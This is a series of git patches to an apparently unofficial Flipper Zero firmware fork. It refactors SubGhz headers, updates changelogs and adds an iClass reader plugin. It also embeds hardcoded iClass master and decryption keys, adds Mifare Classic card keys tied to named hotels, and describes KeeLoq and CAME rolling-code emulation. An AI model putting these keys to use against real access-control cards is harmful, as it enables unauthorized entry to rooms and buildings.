SubGhzLoadKeyState; + +/** SubGhzLock */ +typedef enum { + SubGhzLockOff, + SubGhzLockOn, +} SubGhzLock; + +typedef enum { + SubGhzViewIdMenu, + SubGhzViewIdReceiver, + SubGhzViewIdPopup, + SubGhzViewIdTextInput, + SubGhzViewIdByteInput, + SubGhzViewIdWidget, + SubGhzViewIdTransmitter, + SubGhzViewIdVariableItemList, + SubGhzViewIdFrequencyAnalyzer, + SubGhzViewIdReadRAW, + + SubGhzViewIdStatic, + SubGhzViewIdTestCarrier, + SubGhzViewIdTestPacket, +} SubGhzViewId; \ No newline at end of file diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index accb79c00..03b5aafae 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -38,52 +38,6 @@ #define SUBGHZ_MAX_LEN_NAME 64 -/** SubGhzNotification state */ -typedef enum { - SubGhzNotificationStateStarting, - SubGhzNotificationStateIDLE, - SubGhzNotificationStateTx, - SubGhzNotificationStateRx, - SubGhzNotificationStateRxDone, -} SubGhzNotificationState; - -/** SubGhzTxRx state */ -typedef enum { - SubGhzTxRxStateIDLE, - SubGhzTxRxStateRx, - SubGhzTxRxStateTx, - SubGhzTxRxStateSleep, -} SubGhzTxRxState; - -/** SubGhzHopperState state */ -typedef enum { - SubGhzHopperStateOFF, - SubGhzHopperStateRunnig, - SubGhzHopperStatePause, - SubGhzHopperStateRSSITimeOut, -} SubGhzHopperState; - -/** SubGhzRxKeyState state */ -typedef enum { - SubGhzRxKeyStateIDLE, - SubGhzRxKeyStateNoSave, - SubGhzRxKeyStateNeedSave, - SubGhzRxKeyStateBack, - SubGhzRxKeyStateStart, - SubGhzRxKeyStateAddKey, - SubGhzRxKeyStateExit, - SubGhzRxKeyStateRAWLoad, - SubGhzRxKeyStateRAWSave, -} SubGhzRxKeyState; - -/** SubGhzLoadKeyState state */ -typedef enum { - SubGhzLoadKeyStateUnknown, - SubGhzLoadKeyStateOK, - SubGhzLoadKeyStateParseErr, - SubGhzLoadKeyStateOnlyRx, -} SubGhzLoadKeyState; - typedef struct { uint8_t fix[4]; uint8_t cnt[2]; @@ -144,25 +98,9 @@ struct SubGhz { SubGhzTestPacket* subghz_test_packet; string_t error_str; SubGhzSetting* setting; + SubGhzLock lock; }; -typedef enum { - SubGhzViewIdMenu, - SubGhzViewIdReceiver, - SubGhzViewIdPopup, - SubGhzViewIdTextInput, - SubGhzViewIdByteInput, - SubGhzViewIdWidget, - SubGhzViewIdTransmitter, - SubGhzViewIdVariableItemList, - SubGhzViewIdFrequencyAnalyzer, - SubGhzViewIdReadRAW, - - SubGhzViewIdStatic, - SubGhzViewIdTestCarrier, - SubGhzViewIdTestPacket, -} SubGhzViewId; - bool subghz_set_preset(SubGhz* subghz, const char* preset); void subghz_get_frequency_modulation(SubGhz* subghz, string_t frequency, string_t modulation); void subghz_begin(SubGhz* subghz, FuriHalSubGhzPreset preset); From 32668e6e592d73a109068af70cdfbe93178a8d48 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 4 Jul 2022 02:18:53 +0300 Subject: [PATCH 358/461] update changelog --- .drone.yml | 2 +- CHANGELOG.md | 45 ++++++--------------------------------------- 2 files changed, 7 insertions(+), 40 deletions(-) diff --git a/.drone.yml b/.drone.yml index 221c2c78e..67ab1e8e2 100644 --- a/.drone.yml +++ b/.drone.yml @@ -79,7 +79,7 @@ steps: Version: {{build.tag}} - [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" + [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})" document: - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip diff --git a/CHANGELOG.md b/CHANGELOG.md index ede937803..a70b3ff3c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,10 @@ ### New Update -* ToolChain versioning, better Windows support -* NFC: add Mifare Infineon -* some FBT fixes +* OFW: SubGhz keypad lock +* OFW: picopass/iclass reader plugin +* OFW: NFC emulation software tunning +* OFW: ToolChain versioning, better Windows support +* OFW: NFC: add Mifare Infineon +* OFW: some FBT fixes #### Previous changes * Merged latest ofw changes - scons build system * Removed WAV Player - it's not bad as a concept but has a lot of problems @@ -9,39 +12,3 @@ * Spectrum Analyzer - show current mode on screen when changing modes * Spectrum Analyzer - Ultra Narrow mode * Desktop autolock more time options -* Merged latest ofw dev changes: -SubGhz: PowerSmart protocol, Infrared app fixes -* Merged latest ofw dev changes: -* Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes -* SubGhz: frequency analyzer combined frequency detection method, etc... -* Merged PR - Added 10s Display Timeout -* Games: Snake & Tetris now shows score -* Volume patch in music player (testing needed) -* Two new games: Arkanoid & Tic Tac Toe -* Fixed KeeLoq Uknown behavior, patched StarLine same way -* Fixed incorrect var in protocol Scher-Khan (by @Skorpionm) -* Came Atomo working emulation algorithm! -* Updated UniRF Remix app, .txt file support -* Fixed macOS Brewfile, so compiling on macOS now works -* Updated CAME Atomo -* Updated mf classic dict -* Seed value now shows on KeeLoq screen -* KeeLoq protocol rework. -* Came Atomo emulation beta-test. -* Fix critical issue with keeloq manufacturer name random change: -* now you can emulate any manufacturer system with proper key handling. -* Came Atomo parcel counter increasing and emulation. Beta test: -* (need rework signal header and make button counter cycle array for encoder). -* Added Spectrum analyzer. -* CAME Atomo - Save & Send - beta test, proper work is not guaranteed. -* Removed similar frequencies. -* 0.59.1 Release. -* Merged latest SubGhz fixes. -* Added disclaimer in about pages. -* Added 345Mhz support. -* Merged latest big changes from official repo. -* Moved Games to "Games" Menu. -* Added UniversalRF Remix app. -* Updated Readme. -* files for microSD card now included with build, copy them if you installing fw by using .dfu. -* Updated Icons. From 34348102e5755aacb87914691a4530a97df20d88 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 4 Jul 2022 03:33:17 +0300 Subject: [PATCH 359/461] add picopass/iclass to build list & include key Key: https://github.com/flipperdevices/flipperzero-firmware/pull/1360/files --- applications/meta/application.fam | 1 + applications/picopass/application.fam | 1 - applications/picopass/picopass.c | 51 ++++----------------------- 3 files changed, 7 insertions(+), 46 deletions(-) diff --git a/applications/meta/application.fam b/applications/meta/application.fam index 7f7ee3120..50275e338 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -36,6 +36,7 @@ App( provides=[ "music_player", "bt_hid", + "picopass", ], ) diff --git a/applications/picopass/application.fam b/applications/picopass/application.fam index 3ad72d274..6ae3c1452 100644 --- a/applications/picopass/application.fam +++ b/applications/picopass/application.fam @@ -6,6 +6,5 @@ App( cdefines=["APP_PICOPASS"], requires=["gui"], stack_size=1 * 1024, - icon="A_Plugins_14", order=30, ) diff --git a/applications/picopass/picopass.c b/applications/picopass/picopass.c index 477b7b86c..317fd4b6b 100644 --- a/applications/picopass/picopass.c +++ b/applications/picopass/picopass.c @@ -13,9 +13,6 @@ #define TAG "PicoPass" -#define PICOPASS_APP_ICLASS_KEY_PATH "/any/picopass/iclass_key.bin" -#define PICOPASS_APP_ICLASS_DECRYPT_KEY_PATH "/any/picopass/iclass_decryptionkey.bin" - typedef enum { EventTypeTick, EventTypeKey, @@ -42,46 +39,17 @@ typedef struct { WiegandRecord record; } PACS; -enum State { INIT, KEYS_MISSING, READY, RESULT }; +enum State { INIT, READY, RESULT }; typedef struct { enum State state; PACS pacs; } PluginState; -uint8_t iclass_key[8] = {0}; // NB: not the permuted version -uint8_t iclass_decryptionkey[16] = {0}; +uint8_t iclass_key[8] = {0xaf, 0xa7, 0x85, 0xa7, 0xda, 0xb3, 0x33, 0x78}; +uint8_t iclass_decryptionkey[16] = + {0xb4, 0x21, 0x2c, 0xca, 0xb7, 0xed, 0x21, 0x0f, 0x7b, 0x93, 0xd4, 0x59, 0x39, 0xc7, 0xdd, 0x36}; ApplicationArea AA1; -static bool picopass_load_keys() { - Storage* storage = furi_record_open("storage"); - File* file = storage_file_alloc(storage); - - if(!storage_file_open(file, PICOPASS_APP_ICLASS_KEY_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Unable to open iClass key"); - storage_file_free(file); - furi_record_close("storage"); - return false; - }; - storage_file_read(file, iclass_key, sizeof(iclass_key)); - storage_file_close(file); - FURI_LOG_D(TAG, "iClass key loaded"); - - if(!storage_file_open( - file, PICOPASS_APP_ICLASS_DECRYPT_KEY_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Unable to open iClass decryption key"); - storage_file_free(file); - furi_record_close("storage"); - return false; - }; - storage_file_read(file, iclass_decryptionkey, sizeof(iclass_decryptionkey)); - storage_file_close(file); - FURI_LOG_D(TAG, "iClass decryption key loaded"); - - storage_file_free(file); - furi_record_close("storage"); - return true; -} - static void render_callback(Canvas* const canvas, void* ctx) { const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25); if(plugin_state == NULL) { @@ -94,8 +62,6 @@ static void render_callback(Canvas* const canvas, void* ctx) { if(plugin_state->state == INIT) { canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "Loading..."); - } else if(plugin_state->state == KEYS_MISSING) { - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "Keys missing"); } else if(plugin_state->state == READY) { canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "Push center to scan"); } else if(plugin_state->state == RESULT) { @@ -135,12 +101,7 @@ static void input_callback(InputEvent* input_event, osMessageQueueId_t event_que } static void picopass_state_init(PluginState* const plugin_state) { - plugin_state->state = INIT; - if(picopass_load_keys()) { - plugin_state->state = READY; - } else { - plugin_state->state = KEYS_MISSING; - } + plugin_state->state = READY; } ReturnCode decrypt(uint8_t* enc_data, uint8_t* dec_data) { @@ -433,4 +394,4 @@ int32_t picopass_app(void* p) { osMessageQueueDelete(event_queue); return 0; -} +} \ No newline at end of file From a761b451ebcae75ae81bdfd7dff43a727e4cfc64 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 4 Jul 2022 03:35:40 +0300 Subject: [PATCH 360/461] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a70b3ff3c..9c7306864 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ ### New Update +* Fixed picopass/iclass reader plugin build & included keys into plugin(from OFW PR) * OFW: SubGhz keypad lock * OFW: picopass/iclass reader plugin * OFW: NFC emulation software tunning From 7f3a98d10ce58dd56b3c2f600e382be99dac398a Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Tue, 5 Jul 2022 00:38:18 -0700 Subject: [PATCH 361/461] Added 17 new keys (Hotels) --- .../resources/nfc/assets/mf_classic_dict.nfc | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index fffc1d2e9..6007c2664 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,4 +1,4 @@ -# Last update June 14, 2022 +# Last update July 5, 2022 # ------------------------- # MIFARE DEFAULT KEYS # -- ICEMAN FORK VERSION -- @@ -3631,3 +3631,22 @@ FFD46FF6C5EE 1C5179C4A8A1 16CA203B811B 11AC8C8F3AF2 +# The Westin Jakarta Indonesia from D4DB0D +# Peppers Hotel Unknown location from D4DB0D +6E0DD4136B0A +A0A1A2A3A4A5 +B578F38A5C61 +141940E9B71B +0000014B5C31 +3B1D3AAC866E +95E9EE4CCF8F +0000014B5C31 +FEA6B332F04A +B578F38A5C61 +BE0EC5155806 +0500D6BFCC4F +FC5AC7678BE3 +F09BB8DD142D +B4B3FFEDBE0A +B578F38A5C61 +540E0D2D1D08 From e33f34a23abe6a4aa8f285bce4e81c962148450a Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 5 Jul 2022 16:15:46 +0300 Subject: [PATCH 362/461] update manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 34ee69ac0..98fd24b3c 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1656266480 +T:1657026927 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:0a2f75982596b2dc0000364b8d6c38a9:50429:nfc/assets/mf_classic_dict.nfc +F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From e3968188dca9a0cec2fc2b24e7974a996f937c54 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 5 Jul 2022 19:28:08 +0300 Subject: [PATCH 363/461] update changelog --- CHANGELOG.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9c7306864..3b30f3235 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,10 @@ ### New Update +* OFW: Picopass/iClass plugin new UI +* OFW: NFC: On-device tag generator +* OFW: Add GPIO control through RPC +* OFW: Added Javacard Emulated mifare classic 1K compatibility +* OFW: other fixes +#### Previous changes * Fixed picopass/iclass reader plugin build & included keys into plugin(from OFW PR) * OFW: SubGhz keypad lock * OFW: picopass/iclass reader plugin @@ -6,7 +12,6 @@ * OFW: ToolChain versioning, better Windows support * OFW: NFC: add Mifare Infineon * OFW: some FBT fixes -#### Previous changes * Merged latest ofw changes - scons build system * Removed WAV Player - it's not bad as a concept but has a lot of problems * Some small fixes From 224e38d776d65231ca8de50c5e88802dfbba0f30 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 5 Jul 2022 19:46:25 +0300 Subject: [PATCH 364/461] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3b30f3235..cadb3bf33 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ ### New Update +* Added 17 new mf classic keys (Hotels) (PR) * OFW: Picopass/iClass plugin new UI * OFW: NFC: On-device tag generator * OFW: Add GPIO control through RPC From dabf264b51c7fbbd8281d81a761cdab0885d9f93 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Tue, 5 Jul 2022 23:32:12 -0700 Subject: [PATCH 365/461] Updated Universal Remote (all buttons) Adds the ability to use the volume/channel buttons within the existing Universal remote --- assets/resources/infrared/assets/tv.ir | 1853 ++++++++++++++++++++++++ 1 file changed, 1853 insertions(+) diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index 98292a8ec..d6862d0cd 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,6 +1,11 @@ Filetype: IR library file Version: 1 # +# Recompiled Universal Remote for ALL buttons! +# (Now includes Volume and Channel brute forcing) +# +# Compiled by Hyper_Mash with support/testing from UberGuidoZ +# name: POWER type: parsed protocol: SIRC @@ -1584,3 +1589,1851 @@ type: raw frequency: 38000 duty_cycle: 0.33 data: 7847 3931 470 1448 467 495 472 1443 472 490 467 1451 464 491 466 499 468 491 466 4413 467 1455 470 486 471 1449 466 495 472 1441 464 501 466 492 465 494 463 22093 7851 3934 467 1454 471 490 467 1446 469 496 471 1446 469 489 468 494 473 484 473 4410 470 1449 466 489 468 1455 470 489 468 1449 466 496 471 486 471 490 467 +# +name: POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A F5 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 1E E1 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 48 B7 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 44 BB 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 0A F5 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 06 F9 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 72 00 00 +command: 5C A3 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A F5 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B F4 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E F1 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E F1 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A F5 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B F4 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 41 BE 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 42 BD 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 57 A8 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 15 EA 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 42 BD 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 15 EA 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 20 DF 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 50 AF 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 51 AE 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 60 9F 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 61 9E 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 64 9B 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 57 A8 00 00 +# +# +name: POWER +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 6E 00 00 00 +command: 04 00 00 00 +# +# +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 2000 500 1000 500 2000 500 8500 4000 4000 500 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 8500 4000 4000 500 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 1000 500 8500 4000 4000 500 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 2000 500 1000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 2000 500 1000 500 2000 500 1000 500 1000 500 2000 500 2000 500 8500 4000 4000 500 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4000 4000 500 2000 500 2000 500 2000 500 2000 500 2000 500 2000 500 1000 500 2000 500 2000 500 2000 500 2000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 1000 500 2000 500 1000 500 1000 500 1000 500 1000 500 2000 500 8500 4000 4000 500 +# +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 17 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 15 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 50 00 00 00 +command: 18 00 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0A F5 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0B F4 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0E F1 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +# +name: POWER +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +# +name: POWER +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 80 7F 00 00 +# +# +name: VOL+ +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 8F 70 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 93 6C 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 8D 72 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 91 6E 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 97 68 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 85 7C 00 00 +command: 96 69 00 00 +Filetype: IR signals file +Version: 1 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8073 3997 524 502 495 505 492 1508 498 503 494 1505 501 1500 495 1504 491 1510 496 3988 522 502 495 1505 501 501 496 504 493 1507 499 502 495 1505 501 501 496 18806 8072 3997 524 502 495 505 492 1507 499 502 495 1505 490 1509 497 